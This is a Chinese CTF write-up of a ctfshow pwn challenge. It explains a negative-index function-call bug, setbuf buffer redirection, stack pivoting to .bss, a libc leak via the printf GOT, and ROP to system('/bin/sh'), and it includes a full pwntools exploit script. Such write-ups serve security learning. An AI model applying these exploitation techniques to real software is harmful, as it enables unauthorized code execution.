ctfshow签退题
LOLOLO Lv3

ctfshow 萌新赛pwn签退题

明明是叫萌新赛,整个签退题我以为很简单,拿到程序checksec一看,32位,竟然只开了NX,以为很简单;然后特么的写了几个月,从学栈开始,到格式化字符串、整数溢出,后面到堆,每次都会回来看一眼这题,丫的每次都不会,每次都™怀疑我学了个寂寞。

完全参照大佬的博客完成,在最后会附上大佬的博客;本WP仅仅为了梳理本人对该题的理解

题目分析

程序几乎没有漏洞,可见的漏洞点存在于当进入选项3的流程时,会询问你是否对你的输入进行0-2的操作,然后判断你的选项是否小于等于2,如果是,就执行(0x804B048+choice)函数,此处存在漏洞,只进行了choice小于等于2的判断,而choice是整型,即可以输入负数,也就是说,我们几乎可以执行任何小于(0x804B048)的函数

这题需要利用setbuf函数,大部分pwn题当中,setbuf用来对标准输入输出流清零。仔细观察还会发现,stdin并不是0,而是在stdio库中设置的一个文件流,所以也是作用在stdio库中的函数,类似fwrite、fread、gets等函数。下面举个例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <stdio.h>
#include <string.h>
int main()
{
char buf[10];
char buf1[10];
memset(buf,0,10);
gets(buf);
setbuf(stdin,buf);
printf(buf);
gets(buf1);
printf(buf1);
return 0;

}

上述程序运行后buf1最后会直接输出用户输入buf中的内容。

同时setbuf并没有设置长度的参数,设置长度需要使用setvbuf,所以默认情况下setbuf设置的缓冲区长度为默认的4096。

解题思路

通过输入操作选项,使得我们执行setbuf(fd=fopen(“/dev/null”), buf)函数,然后在0x08048742函数中调用了fwrite(ptr, 1u, n, s)往buf里面写入数据,这里我们选择最后一次输入的buf作为setbuf的第二个参数,然后构造栈溢出以及栈迁移。参考大佬的栈溢出构造逻辑如下:

add(rop) -> add(buf1) -> buf(buf2) -> add(buf3) -> add(buf4) -> setbuf(fd, buf4) -> post(buf1) -> post(rop) -> 栈溢出,利用ROP链

然后构造第一个ROP,这里利用printf泄露printf_got获得libc地址,找到system以及binsh的地址,同时构造fread读入向.bss段读入system以及binsh,再把栈迁移到写入了system以及binsh的.bss段。然后构造第二个ROP去执行system(“/bin/sh”)。

最后会出现的问题

.bss段是从0x804b000开始的,当把栈迁移到0x804b100时,会出现system执行binsh失败;大佬给出了两个原因

  1. 当执行system时,system函数会获取系统的环境变量envp,而全局变量_environ指向了栈上的envp,当我们的rop链过长时,就有可能会覆盖了_environ的值,如果该值被覆盖成了无效地址,system就无法执行,但在这题中,因为第一个ROP链并不过长,所以并不会覆盖到该全局变量。
  2. system栈地址空间不足,程序的可读可写地址空间是从0x804b000-0x804c000,当我改栈地址为0x804b100时,可用空间只有0x100;所以将栈地址改为0x804b300以后都可以(这是试出来的)。

附上大佬exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#! /usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

# context.log_level = "debug"
context.terminal = ['terminator','-x','bash','-c']

def add(p, data):
p.readuntil("> ")
p.sendline("1")
p.readuntil("contents: ")
p.sendline(data)

def post(p, n, offset):
p.readuntil("> ")
p.sendline("3")
p.readuntil("ID (0-4): ")
p.sendline(str(n))
p.readuntil("> ")
p.sendline(str(offset))

def quit(p):
p.readuntil("> ")
p.sendline("4")

def main():
p = process("./mailer",env={"LD_PRELOAD": "./libc.so.6"})
libc = ELF("./libc.so.6")
e = ELF("./mailer")
# gdb.attach(p)
gadget1 = 0x08048dab # pop ebp ; ret
gadget2 = 0x080485f8 # leave ; ret
gadget3 = 0x08048495 # pop ebx ; ret
gadget4 = 0x08048daa # pop edi ; pop ebp ; ret
gadget5 = 0x08048da9 # pop esi ; pop edi ; pop ebp ; ret
one_gadget_sh = 0x56ff5
read_buf = 0x080486D9
stdin_bss = 0x804B060
bss_buf = 0x804b700
rop1 = "a"*0xd
rop1 += p32(e.symbols["printf"]) + p32(gadget3) + p32(e.got["printf"]) # printf(&printf)
rop1 += p32(read_buf) + p32(gadget4) + p32(bss_buf) + p32(0x100) # fread(buf, 1, 0x100, stdin)
rop1 += p32(gadget1) + p32(bss_buf) + p32(gadget2) + p32(bss_buf)
add(p, rop1)
add(p, "b"*255)
add(p, "c"*255)
add(p, "d"*255)
add(p, "e"*255)
post(p, 4, -15)
post(p, 1, 0)
post(p, 0, 0)
quit(p)
p.readuntil(":)\n")
printf_got = u32(p.read(4))
# print hex(printf_got)
system_libc = libc.symbols["system"]
printf_libc = libc.symbols["printf"]
binsh_libc = libc.search("/bin/sh").next()
system_add = printf_got - printf_libc + system_libc
binsh_add = printf_got - printf_libc + binsh_libc
one_gadget = printf_got - printf_libc + 0x3a838
#rop2 = "aaaa" + p32(gadget5) + p32(binsh_add+one_gadget_sh) + "aaaa" + p32(bss_buf) + p32(one_gadget)
rop2 = "aaaa" + p32(system_add) + p32(binsh_add) + p32(binsh_add)
p.sendline(rop2)
p.interactive()

if __name__ == '__main__':
main()

最后附上参考大佬的文章的地址

  • 本文标题:ctfshow签退题
  • 本文作者:LOLOLO
  • 创建时间:2021-11-26 18:54:30
  • 本文链接:https://lololo-pwn.github.io/2021/11/26/ctfshow签退题/
  • 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
 评论